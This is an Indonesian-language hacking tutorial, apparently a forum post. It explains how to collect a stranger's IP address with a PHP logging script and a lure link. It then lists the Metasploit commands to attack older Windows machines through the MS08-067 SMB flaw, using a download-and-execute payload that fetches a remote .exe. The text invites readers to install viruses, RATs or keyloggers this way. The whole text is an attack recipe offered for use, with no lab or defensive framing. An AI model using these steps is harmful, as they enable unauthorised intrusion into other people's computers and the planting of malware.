Di sini kita membutuhkan dua tool yg mungkin kalian semua udah pada ngga' asing lagi lah ama tool ini yaitu METASPLOIT
NMAP
Hal yg paling pertama kita lakukan tentu saja mencari target yah kalo target nya dalam jaringan lokal kalian bisa menggunakan berbagai tool ip scanner kan itu sih gampang, ,, nah kalo pngen tau ip orang di internet gimana ? nih cuman ngasih pencerahan dikit kita bkin dlu suatu script php untuk menangkap ip adress dari pengunjung yg membuka script itu nih script nya
------start----------------
<?
$file = "ip.txt";
$ip = $_SERVER['REMOTE_ADDR'];
$handle = fopen($file, 'a');
fwrite($handle, "IP Address: ");
fwrite($handle, "$ip");
fwrite($handle, "\n");
fclose($handle);
?>
---------end-------------
Abis itu kalian upload di webhost gratisan terus suruh target buat buka tuh link ok lanjut kalo dah dapet ip kita lanjut buka metasploit
- Sebelum nya kita harus membuat dulu database dengan cara ketik db_create pada metasploit.
- Lalu kta scan ip target menggunakan nmap dengan cara ketik nmap pada metasploit lalu ketik nmap -sT -sV target ip telah scanning beres nanti kita akan mendapatkan beberapa informasi, bila di dalam nya ada informasi berkaitan dengan windows 2000,(xp sp1,sp2,sp3) berarti kita bisa menginfect ip tersebut tanpa masalah.
- Dalam metasploit ketik use windows/smb/ms08_067_netapi
lalu ketik 'set target 0'
'show payloads'
'set payload windows/download_exec'
show options
set RHOST target IP
Nah setelah itu disini bagian terpenting nya program apa yg ingin kita infect ke ip(komputer) tersebut. Apa kah kita akan menginfeksikan suatu virus,worm,RAT,keylogger,atau apa saja terserah anda kita ketik set url http://www.site.com/xxx.exe dan akhir nya kita ketik exploit
Selamat Mencoba...